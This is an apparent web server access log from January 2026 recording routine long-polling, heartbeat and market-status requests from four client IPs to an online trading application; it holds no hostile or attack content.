[09/Jan/2026:14:29:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:29:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:29:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:29:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:29:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:29:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940479934 HTTP/1.1" -
[09/Jan/2026:14:29:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940464057 HTTP/1.1" -
[09/Jan/2026:14:29:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940471271 HTTP/1.1" -
[09/Jan/2026:14:29:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940465162 HTTP/1.1" -
[09/Jan/2026:14:30:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940484963 HTTP/1.1" -
[09/Jan/2026:14:30:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940469200 HTTP/1.1" -
[09/Jan/2026:14:30:00 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940476340 HTTP/1.1" -
[09/Jan/2026:14:30:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940470230 HTTP/1.1" -
[09/Jan/2026:14:30:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:30:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:30:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:30:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:30:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940489995 HTTP/1.1" -
[09/Jan/2026:14:30:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940474359 HTTP/1.1" -
[09/Jan/2026:14:30:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940475272 HTTP/1.1" -
[09/Jan/2026:14:30:05 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940481442 HTTP/1.1" -
[09/Jan/2026:14:30:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:30:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:30:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:30:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:30:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:30:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:30:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940495046 HTTP/1.1" -
[09/Jan/2026:14:30:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940479495 HTTP/1.1" -
[09/Jan/2026:14:30:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940480295 HTTP/1.1" -
[09/Jan/2026:14:30:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940486511 HTTP/1.1" -
[09/Jan/2026:14:30:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940500116 HTTP/1.1" -
[09/Jan/2026:14:30:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940484603 HTTP/1.1" -
[09/Jan/2026:14:30:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940485339 HTTP/1.1" -
[09/Jan/2026:14:30:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940491532 HTTP/1.1" -
[09/Jan/2026:14:30:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940505189 HTTP/1.1" -
[09/Jan/2026:14:30:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940489746 HTTP/1.1" -
[09/Jan/2026:14:30:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940490364 HTTP/1.1" -
[09/Jan/2026:14:30:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940496627 HTTP/1.1" -
[09/Jan/2026:14:30:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:30:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:30:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:30:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:30:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:30:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:30:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940510217 HTTP/1.1" -
[09/Jan/2026:14:30:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940495411 HTTP/1.1" -
[09/Jan/2026:14:30:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940494878 HTTP/1.1" -
[09/Jan/2026:14:30:26 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940501695 HTTP/1.1" -
[09/Jan/2026:14:30:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940515250 HTTP/1.1" -
[09/Jan/2026:14:30:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940500438 HTTP/1.1" -
[09/Jan/2026:14:30:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940500053 HTTP/1.1" -
[09/Jan/2026:14:30:31 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940506726 HTTP/1.1" -
[09/Jan/2026:14:30:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:30:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:30:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:30:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:30:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940520305 HTTP/1.1" -
[09/Jan/2026:14:30:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940505474 HTTP/1.1" -
[09/Jan/2026:14:30:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940511825 HTTP/1.1" -
[09/Jan/2026:14:30:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940505199 HTTP/1.1" -
[09/Jan/2026:14:30:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:30:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:30:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:30:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:30:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:30:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:30:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940525329 HTTP/1.1" -
[09/Jan/2026:14:30:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940510495 HTTP/1.1" -
[09/Jan/2026:14:30:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940516897 HTTP/1.1" -
[09/Jan/2026:14:30:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:30:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 319
[09/Jan/2026:14:30:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940510413 HTTP/1.1" -
[09/Jan/2026:14:30:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940530357 HTTP/1.1" -
[09/Jan/2026:14:30:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940515533 HTTP/1.1" -
[09/Jan/2026:14:30:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940521924 HTTP/1.1" -
[09/Jan/2026:14:30:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940515477 HTTP/1.1" -
[09/Jan/2026:14:30:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940535422 HTTP/1.1" -
[09/Jan/2026:14:30:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940520565 HTTP/1.1" -
[09/Jan/2026:14:30:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:30:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:30:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:30:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:30:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940527013 HTTP/1.1" -
[09/Jan/2026:14:30:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:30:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:30:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940520598 HTTP/1.1" -
[09/Jan/2026:14:30:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940540482 HTTP/1.1" -
[09/Jan/2026:14:30:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940525614 HTTP/1.1" -
[09/Jan/2026:14:30:56 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940532093 HTTP/1.1" -
[09/Jan/2026:14:30:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940525733 HTTP/1.1" -
[09/Jan/2026:14:31:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940545505 HTTP/1.1" -
[09/Jan/2026:14:31:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940530651 HTTP/1.1" -
[09/Jan/2026:14:31:01 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940537124 HTTP/1.1" -
